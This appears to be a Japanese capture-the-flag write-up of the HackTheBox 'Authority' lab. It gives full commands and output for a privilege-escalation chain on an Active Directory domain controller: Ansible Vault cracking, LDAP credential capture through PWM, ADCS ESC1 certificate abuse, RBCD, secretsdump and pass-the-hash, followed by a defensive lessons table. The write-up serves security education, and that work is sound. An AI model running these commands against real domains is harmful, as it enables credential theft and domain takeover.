Hack The BoxのWriteup（Authority）[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Authority — 全実行コマンド・実行結果レポート

HackTheBox: Authority — 全実行コマンド・実行結果レポート

Target: 10.129.229.56 OS: Windows Server (Domain Controller, authority.htb) Web: PWM Password Self-Service (8443) + IIS Splash (80) 難易度: Medium ステータス: 完全攻略済み ✓
Nmap スキャン
AD DC (88/389/445/8443)
→
SMB匿名アクセス
Development共有 → Ansible playbook
→
Ansible Vaultクラック
ansible2john+hashcat -m16900
→
PWM Config Editor
LDAP URL書換えMITM
→
svc_ldap シェル取得
user.txt ✓
→
ADCS ESC1
CorpVPNテンプレート
→
PassTheCert RBCD
AUTHORITY$ に委任設定
→
S4U2Proxy + secretsdump
Administrator NTハッシュ
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & ドメイン特定

BASH
nmap -sV -sC -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,8443,9389 10.129.229.56
RESULT
PORT     STATE  SERVICE      VERSION
53/tcp   open   domain       Simple DNS Plus
80/tcp   open   http         Microsoft IIS httpd 10.0
88/tcp   open   kerberos-sec Microsoft Windows Kerberos
389/tcp  open   ldap         Microsoft Windows Active Directory LDAP
| ssl-cert: Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp,
|           DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
445/tcp  open   microsoft-ds?
8443/tcp open   https-alt    Apache Tomcat
5985/tcp open   http         Microsoft HTTPAPI httpd 2.0 (winrm)
9389/tcp open   mc-nmf       .NET Message Framing
Service Info: Host: AUTHORITY; OS: Windows

Host script results:
|_clock-skew: mean: 4h00m02s, deviation: 0s
🚨
ドメイン確定: LDAP証明書のUPNから authority.htb ドメイン、ホスト名 AUTHORITY が判明。8443/tcp の Apache Tomcat は PWM (Password Self-Service) の管理画面で、 後のフェーズで中心的な役割を果たす。クロックスキュー 4時間は Kerberos操作(certipy auth / getST / secretsdump -k)で必ず問題になるため、 以降は faketime で補正しながら実行する。

/etc/hosts 設定

BASH
echo "10.129.229.56 authority.htb authority.htb.corp AUTHORITY" | sudo tee -a /etc/hosts
PHASE 2

SMB匿名アクセス → Ansible Vault クラック

SMB共有の列挙

BASH
smbclient -N -L //10.129.229.56/
smbclient -N //10.129.229.56/Development
RESULT
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Development     Disk
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share

smb: \> ls
  Automation                     D
smb: \> cd Automation\Ansible
  ADCS  LDAP  PWM  SHARE
✅
他の共有は NT_STATUS_ACCESS_DENIED だが、Development 共有のみ 匿名 (-N) でフルアクセス可能。中に Ansible の自動化 playbook 一式 (ADCS/LDAP/PWM/SHARE の4ロール) が置かれている。

main.yml の再帰取得と Ansible Vault の発見

BASH
smbclient -N //10.129.229.56/Development -c "prompt OFF; recurse ON; mget *"
cat Automation/Ansible/PWM/defaults/main.yml
RESULT (main.yml 抜粋)
pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          65643638386534383530326234393232653832313866623835613336373463...
pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32623763303538356437653363303731643466316331653665393336373837...
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          62653639613133363239326331313634306436323365303461363430373735...
ℹ️
3つの値がすべて $ANSIBLE_VAULT;1.1;AES256 形式で暗号化されている。 Ansible Vault のパスワード自体を割り出す必要がある。

ansible2john + hashcat でVaultパスワードをクラック

BASH
# !vault ブロックを抽出し ansible-vault 形式のファイルとして保存
python3 /usr/share/john/ansible2john.py pwm_admin_login.vault > hash.txt
hashcat -m 16900 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 16900 hash.txt --show
RESULT
$ansible-vault_hash$...:!@#$%^&*
BASH
echo '!@#$%^&*' > vault_pass.txt
ansible-vault view --vault-password-file vault_pass.txt pwm_admin_login.vault
ansible-vault view --vault-password-file vault_pass.txt pwm_admin_password.vault
ansible-vault view --vault-password-file vault_pass.txt ldap_admin_password.vault
RESULT
pwm_admin_login    = svc_pwm
pwm_admin_password = pwm_@dm!N_!23
ldap_admin_password = DevT3st@123     (今回のチェーンでは未使用)
✅
3つの Vault はすべて同一パスワード !@#$%^&* で暗号化されていた (rockyou.txt に含まれる弱いパスワード)。pwm_@dm!N_!23 が PWM Configuration Editor へのログインに使えることが次のフェーズで判明する。
PHASE 3

PWM Configuration Editor 経由の LDAP資格情報リーク (MITM) → user.txt

PWM Configuration Editor へログイン

NOTE
ブラウザで https://10.129.229.56:8443/pwm/private/config/login へアクセスし、
Configuration Password として pwm_@dm!N_!23 を入力してログイン
(pwm_admin_login の値 "svc_pwm" はここでは使わない — PWM の Configuration Editor
自体はユーザー名不要、パスワードのみで管理モードに入れる仕様)。

LDAP 接続設定を自ホスト向けに書き換え

NOTE
Configuration Editor 内: Settings → LDAP → LDAP Directories → default →
Connection タブを開き、LDAP URLs を書き換える:

  変更前: ldaps://authority.htb.corp:636
  変更後: ldap://<Kali IP>:389

設定を保存 (Save) した後、同じ画面にある "Test LDAP Profile" ボタンを押す。
PWM サーバーは保存された接続文字列を使って LDAP へ簡易バインド(simple bind)
しにいくため、これを自分の nc リスナーへ向けさせることで平文パスワードを
中間者的に捕獲できる。

nc リスナーで平文 LDAP bind を捕獲

BASH (Kali側、事前に389番でリスナー起動)
sudo nc -lnvp 389
RESULT (“Test LDAP Profile” 押下後)
listening on [any] 389 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.229.56] ...
0..0%1.3.6.1.4.1.1466.20037 0'
CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htblDaP_1n_th3_cle4r!
🚨
資格情報の平文漏洩に成功: LDAP simple bind リクエストの中に バインド DN CN=svc_ldap,... の直後、平文パスワード lDaP_1n_th3_cle4r! がそのまま流れてくる。管理画面から接続先を 自由に書き換えられ、かつ簡易バインドがTLS化されていない設計ミスに起因する。

svc_ldap で WinRM ログイン & user.txt 取得

BASH
evil-winrm -i 10.129.229.56 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
*Evil-WinRM* PS> type C:\Users\svc_ldap\Desktop\user.txt
RESULT
1a4fde88ea9a4365e2a28d41cce93a57
user.txt — svc_ldap
1a4fde88ea9a4365e2a28d41cce93a57
PHASE 4

ADCS ESC1 — CorpVPN テンプレートを悪用した証明書取得

certipy find で脆弱テンプレートを特定

BASH
certipy-ad find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' \
    -dc-ip 10.129.229.56 -vulnerable -stdout
RESULT
Certificate Templates
  0
    Template Name              : CorpVPN
    Certificate Authorities    : AUTHORITY-CA
    Enrollee Supplies Subject  : True
    Enrollment Rights          : AUTHORITY.HTB\Domain Computers
    [!] Vulnerabilities
      ESC1  : Enrollee supplies subject and template allows client authentication.
🚨
CorpVPN テンプレートは Domain Computers に enroll 権限を 与えつつ EnrolleeSuppliesSubject(申請者が Subject/SAN を自由指定可) のため ESC1 に該当。MachineAccountQuota は既定の 10 のままなので、任意のドメインユーザーが新規マシンアカウントを追加できる。

マシンアカウント追加 & Administrator UPN の証明書要求

BASH
impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' \
    -method LDAPS -computer-name 'EVIL01$' -computer-pass 'StrOng3st_P@ssw0rd!' \
    -dc-ip 10.129.229.56

certipy-ad req -username 'EVIL01$' -password 'StrOng3st_P@ssw0rd!' \
    -ca AUTHORITY-CA -dc-ip 10.129.229.56 -template CorpVPN \
    -upn administrator@authority.htb -dns authority.htb \
    -out administrator_authority.pfx
RESULT
[*] Successfully added machine account EVIL01$ with password StrOng3st_P@ssw0rd!.
...
[*] Successfully requested certificate
[*] Got certificate with multiple identities
    UPN: 'administrator@authority.htb'
[*] Wrote certificate and private key to 'administrator_authority.pfx'
⚠️
ハマりどころ: certipy req -out に ディレクトリを 含むパスを渡すと、certipy 内部の保存処理が / を無条件に _ へ置換してから現在のカレントディレクトリに書き出す 実装になっている。意図したフォルダに .pfx が現れず「証明書取得に 失敗した」ように見えることがある — -out には ディレクトリ無しのファイル名だけを渡し、事前に目的のディレクトリへ cd しておくのが安全。
PHASE 5

PKINIT 非対応DC → PassTheCert で RBCD 設定

certipy auth の失敗 (PKINIT 未対応)

BASH
certipy-ad auth -pfx administrator_authority.pfx \
    -username administrator -domain authority.htb -dc-ip 10.129.229.56
RESULT
KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
⚠️
対象 DC は PKINIT (証明書を使った直接 Kerberos 認証) に対応していない。 証明書自体は正規に取得できているので、PassTheCert を使い Schannel (LDAPS) 経由で証明書ベースのバインドを行う代替経路に切り替える。

pfx から crt/key を抽出し PassTheCert で RBCD 設定

BASH
openssl pkcs12 -in administrator_authority.pfx -nocerts -nodes \
    -out administrator.key -passin pass:
openssl pkcs12 -in administrator_authority.pfx -clcerts -nokeys \
    -out administrator.crt -passin pass:

git clone --depth 1 https://github.com/AlmondOffSec/PassTheCert.git
python3 PassTheCert/Python/passthecert.py \
    -dc-ip 10.129.229.56 -crt administrator.crt -key administrator.key \
    -domain authority.htb -port 636 -action write_rbcd \
    -delegate-to 'AUTHORITY$' -delegate-from 'EVIL01$'
RESULT
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] EVIL01$ can now impersonate users on AUTHORITY$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     EVIL01$ (S-1-5-21-...)
✅
RBCD 設定成功。 Administrator 証明書を使った Schannel 認証で DC自身の計算機アカウント AUTHORITY$ の msDS-AllowedToActOnBehalfOfOtherIdentity 属性に EVIL01$ を追加し、リソースベース制約付き委任 (RBCD) を設定した。
PHASE 6

S4U2Proxy → secretsdump → Pass-the-Hash → root.txt

クロックスキュー対策 (faketime)

NOTE
対象DCとの時刻差は約4時間 (Phase 1 の nmap clock-skew で確認済み)。
Kerberos はデフォルトで約5分の誤差しか許容しないため、system の時刻を
直接変更するのではなく faketime で Kerberos関連コマンドだけを
時刻補正して実行する:

  OFFSET=$(ntpdate -q 10.129.229.56 | grep -oE '[+-][0-9]+\.[0-9]+ \+/-' \
           | awk '{print $1}')
  faketime "${OFFSET%.*} seconds" <コマンド>

(ntpdate -q は時計を変更せず、DCとの差分秒数を測定するだけの安全なクエリ)

S4U2Proxy で Administrator のサービスチケットを取得

BASH
faketime "+14403 seconds" impacket-getST \
    -spn cifs/authority.authority.htb -impersonate Administrator \
    -dc-ip 10.129.229.56 authority.htb/'EVIL01$':'StrOng3st_P@ssw0rd!'
RESULT
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_authority.authority.htb@AUTHORITY.HTB.ccache

secretsdump で Administrator の NTハッシュを抽出

BASH
export KRB5CCNAME=Administrator@cifs_authority.authority.htb@AUTHORITY.HTB.ccache
faketime "+14403 seconds" impacket-secretsdump -k -no-pass \
    authority.htb/Administrator@authority.authority.htb -just-dc-ntlm
RESULT
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
Guest:501:...
krbtgt:502:...
svc_ldap:1601:...
AUTHORITY$:1000:...
EVIL01$:12102:...
✅
RBCD経由の S4U2Proxy でドメインコントローラの DRSUAPI (ntds.dit 相当の 複製API) にアクセスでき、Administrator の NTLM ハッシュ (6961f422924da90a6928197429eea4ed) を取得できた。

Pass-the-Hash で root.txt を取得

BASH
netexec winrm 10.129.229.56 -u administrator \
    -H 6961f422924da90a6928197429eea4ed -d authority.htb \
    -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM  10.129.229.56  5985  AUTHORITY  [+] authority.htb\administrator:6961f...eed (Pwn3d!)
WINRM  10.129.229.56  5985  AUTHORITY  [+] Executed command (shell type: cmd)
WINRM  10.129.229.56  5985  AUTHORITY  77aedc9152ad8ed03e5b239e1a539880
⚠️
紛らわしい点: netexec の認証成功バナー行にも PTHに使ったNTハッシュ自体が32桁hexとして表示されるため、 目視/スクリプト双方で「バナーのハッシュ」と「実際のroot.txtの中身 (次の行)」を取り違えないよう注意する。
root.txt — Administrator@authority
77aedc9152ad8ed03e5b239e1a539880
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc_ldap
1a4fde88ea9a4365e2a28d41cce93a57
root.txt — Administrator@authority
77aedc9152ad8ed03e5b239e1a539880

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SMB匿名アクセス Development 共有 内部運用資産の漏洩 Medium 認証なしでAnsible自動化スクリプト一式(Vault暗号化済み資格情報含む)を取得
弱いAnsible Vaultパスワード PWM/defaults/main.yml PWM管理パスワード漏洩 High ansible2john+hashcat -m16900でrockyou.txt突破可能な脆弱パスワードをクラック
PWM LDAP接続先の任意書換え(平文MITM) PWM Configuration Editor ドメインサービスアカウント資格情報漏洩 Critical LDAP URLを自ホストへ書換え、Test LDAP Profile発火でPWMサーバの平文simple bindを捕獲
ADCS ESC1 (CorpVPNテンプレート) AUTHORITY-CA / CorpVPN証明書テンプレート 任意ユーザーへのなりすまし証明書取得 Critical Domain Computers enroll権限+EnrolleeSuppliesSubjectを突き、追加した計算機アカウントでAdministrator UPNの証明書を要求
PassTheCert RBCD権限昇格 AUTHORITY$ (DC計算機アカウント) ドメイン権限昇格 (Administrator相当) Critical PKINIT非対応DCのためcertipy authは使えず、証明書によるSchannel(LDAPS)認証でRBCD設定→S4U2Proxy→secretsdumpでAdministrator NTハッシュ取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap バージョンスキャンauthority.htb ドメイン、8443のPWM、4時間のクロックスキューを確認
2Ansible Vault漏洩SMB匿名アクセス+ansible2john+hashcat -m16900pwm_@dm!N_!23 (PWM管理パスワード)取得
3LDAP資格情報リークPWM Configuration Editor LDAP URL書換えMITMuser.txt 取得(svc_ldap経由)
4ADCS証明書取得certipy find/req + impacket-addcomputer (ESC1)Administrator UPNを持つ不正証明書
5RBCD設定PassTheCert (Schannel/LDAPS)AUTHORITY$へのEVIL01$委任権限
6権限昇格S4U2Proxy+secretsdump+PTH (faketime補正)root.txt 取得(Administrator NTハッシュ経由)

学んだ教訓 & 防御策

問題点防御策
SMB共有が匿名アクセス可能で運用スクリプト・暗号化資格情報を公開している 共有のアクセス権を必要最小限のグループ/アカウントに限定し、匿名(Everyone)アクセスは無効化する。
Ansible Vault のパスワードが辞書に含まれる弱いパスワード Vaultパスワードは十分な長さ・エントロピーを持つものにし、可能ならパスワードマネージャやHashiCorp Vault等の専用シークレット管理基盤へ移行する。
PWM Configuration Editor から任意のLDAP接続先へ書換え可能、かつ簡易バインドが平文で流れる Configuration Editorへのアクセスを管理ネットワークに限定し、多要素認証を要求する。LDAP接続はLDAPS(TLS)を強制しStartTLSなしの簡易バインドを許可しない。
MachineAccountQuotaが既定値のままで一般ユーザーが計算機アカウントを追加できる ms-DS-MachineAccountQuota を0に設定し、必要な場合のみ管理者が個別にアカウントを発行する。
ADCS証明書テンプレートがEnrolleeSuppliesSubjectを許可しつつ広範な対象に enroll 権限を付与している (ESC1) enrollee が Subject/SAN を自由指定できるテンプレートは Domain Admins 等の高権限グループのみに enroll 権限を絞る。Certificate Authority のセキュリティ記述子を定期的に監査する (certipy find / Certify 等で継続的にESCパターンをチェック)。
DC計算機アカウントに対するRBCD属性書換えを一般権限で行える経路が存在する 証明書ベースのSchannel認証で書き込み可能な属性を最小化し、msDS-AllowedToActOnBehalfOfOtherIdentity等の委任関連属性の変更をSIEM等で監視・アラートする。
HackTheBox: Authority | 完全攻略レポート

広告